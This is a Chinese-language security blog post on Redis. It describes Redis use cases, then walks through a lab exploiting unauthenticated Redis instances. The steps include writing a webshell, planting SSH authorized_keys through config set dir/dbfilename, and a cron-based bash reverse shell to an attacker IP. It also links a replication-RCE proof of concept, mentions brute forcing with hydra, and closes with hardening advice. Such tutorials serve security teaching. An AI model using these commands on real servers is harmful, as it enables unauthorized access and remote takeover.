Redis安全问题

Redis服务的默认端口是6379,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis理解及使用场景

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。和MYSQL等常见的数据库都有着共同的存储数据的作用,但Redis的主要适用于如下场景:

缓存

缓存现在几乎是所有中大型网站都在用的必杀技,合理的利用缓存不仅能够提升网站访问速度,还能大大降低数据库的压力。Redis提供了键过期功能,也提供了灵活的键淘汰策略,所以,现在Redis用在缓存的场合非常多。

排行榜

很多网站都有排行榜应用的,如京东的月度销量榜单、商品按时间的上新排行榜等。Redis提供的有序集合数据类构能实现各种复杂的排行榜应用。

计数器

什么是计数器,如电商网站商品的浏览量、视频网站视频的播放数等。为了保证数据实时效,每次浏览都得给+1,并发量高时如果每次都请求数据库操作无疑是种挑战和压力。Redis提供的incr命令来实现计数器功能,内存操作,性能非常好,非常适用于这些计数场景。

分布式会话

集群模式下,在应用不多的情况下一般使用容器自带的session复制功能就能满足,当应用增多相对复杂的系统中,一般都会搭建以Redis等内存数据库为中心的session服务,session不再由容器管理,而是由session服务及内存数据库管理。

分布式锁

在很多互联网公司中都使用了分布式技术,分布式技术带来的技术挑战是对同一个资源的并发访问,如全局ID、减库存、秒杀等场景,并发量不大的场景可以使用数据库的悲观锁、乐观锁来实现,但在并发量高的场合中,利用数据库锁来控制资源的并发访问是不太理想的,大大影响了数据库的性能。可以利用Redis的setnx功能来编写分布式的锁,如果设置返回1说明获取锁成功,否则获取锁失败,实际应用中要考虑的细节要更多。

社交网络

点赞、踩、关注/被关注、共同好友等是社交网站的基本功能,社交网站的访问量通常来说比较大,而且传统的关系数据库类型不适合存储这种类型的数据,Redis提供的哈希、集合等数据结构能很方便的的实现这些功能。

最新列表

Redis列表结构,LPUSH可以在列表头部插入一个内容ID作为关键字,LTRIM可用来限制列表的数量,这样列表永远为N个ID,无需查询最新的列表,直接根据ID去到对应的内容页即可。

消息系统

消息队列是大型网站必用中间件,如ActiveMQ、RabbitMQ、Kafka等流行的消息队列中间件,主要用于业务解耦、流量削峰及异步处理实时性低的业务。Redis提供了发布/订阅及阻塞队列功能,能实现一个简单的消息队列系统。另外,这个不能和专业的消息中间件相比。

Redis常见攻击方式

先总结一下,后文会实际演示。

未授权访问

敏感信息泄露

写入SSH公钥登录服务器

web目录写入webshell

定时任务反弹shell

其他

主从复制RCE

历史CVE

CVE-2016-8339

CVE-2015-8080

CVE-2015-4335

CVE-2013-7458

暴力破解

Redis常见命令

查看信息:info

删除所有数据库内容:flushall

刷新数据库:flushdb

查看所有键:keys *,使用select num可以查看键值数据

设置变量:set tmp_val “sys71m”

查看变量值:get tmp_val

查看备份文件路径:config get dir

设置备份文件路径:config set dir dirpath

查看备份文件名:config get dbfilename

设置备份文件名:config set dbfilename filename

保存备份文件:save

环境搭建

版本:Redis4.0.14

下载地址:http://download.redis.io/releases/

安装:

1
2
3
tar xzf redis-4.0.14.tar.gz
cd redis-4.0.14/
make

配置:

1
2
3
vim redis.conf
//修改69行,默认只能本地访问,修改如下:
bind 0.0.0.0

启动:

1
./src/redis-server redis.conf

端口探测

image-20200315154908711

未授权访问

敏感信息泄露

image-20200315141045861

web目录写入webshell

注意:已知网站的绝对路径,该目录下具有读写权限

image-20200315141617512

访问写入的shell:

image-20200315141739554

写入SSH公钥

这里攻击环境切换为kali,windows太麻烦。。。

生成ras公钥:

image-20200315154623167

此时在/root/.ssh/目录下会生成两个文件is_rsais_rsa.pub

将公钥写入目标的root/.ssh/目录下:

1
2
3
4
5
6
#设置备份路径
config set dir /root/.ssh/
config set dbfilename authorized_keys
# 保存key的时候加上两个\n是为了避免和Redis里其他缓存数据混合
set key "********"
save

image-20200315160254669

ssh连接:

image-20200315160438191

定时任务反弹shell

该方法只能CentOS上使用,Ubuntu、Debian上行不通。原因如下:

  • 权限问题,Ubuntu定时任务需要root权限;
  • Redis备份文件存在乱码,而Debian和Ubuntu对定时任务的格式校验很严格,因此在Debian和Ubuntu上会报错,而在CentOS上不会报错;

大致原理与上面相似,kali是在debian的基础上改的。。云实验。。。如下:

1
2
3
4
config set dir /var/spool/cron/crontabs/
config set dbfilename root
set payload "\n\n* * * * * bash -i >& /dev/tcp/192.168.227.133/666 0>&1\n\n"
save

其他

写入/etc/passwd文件实现任意账号密码重置

写入Windows启动项

主从复制REC

使用范围

Redis未授权访问在4.x/5.0.5以前版本下

概述

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

POC

下载地址:

1
https://github.com/vulhub/redis-rogue-getshell

利用

历史CVE

Redis远程代码执行漏洞(CVE-2016-8339)

Redis 3.2.x < 3.2.4 版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,从而RCE。

CVE-2015-8080

Redis版本 2.8.x < 2.8.24 和 3.0.x < 3.0.6 中,lua_struct.c中的getnum函数存在整数溢出漏洞,导致攻击者可以运行Lua代码或可能绕过沙盒限制。

CVE-2015-4335

Redis 2.8.1 之前版本和 3.0.2 之前版本中存在安全漏洞,攻击者可以远程执行eval命令,利用该漏洞执行任意Lua字节码。

CVE-2013-7458

读取”.rediscli_history”配置文件信息。

暴力破解

首先设置一个临时的密码:

image-20200315163458809

使用hydra暴力破解:

image-20200315163854694

安全配置

  • Redis服务端口禁止在公网开发
  • 配置Redis的访问密码,复杂度要高。。
  • 以低权限运行Redis服务,禁止用root等最高权限运行;
  • 确保authorized_keys文件的安全,尽量阻止其他用户添加新的公钥;

参考

1
2
https://segmentfault.com/a/1190000016188385
https://damit5.com/2018/05/18/Redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/
Author: Sys71m
Link: https://www.sys71m.top/2020/03/15/Redis安全问题/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.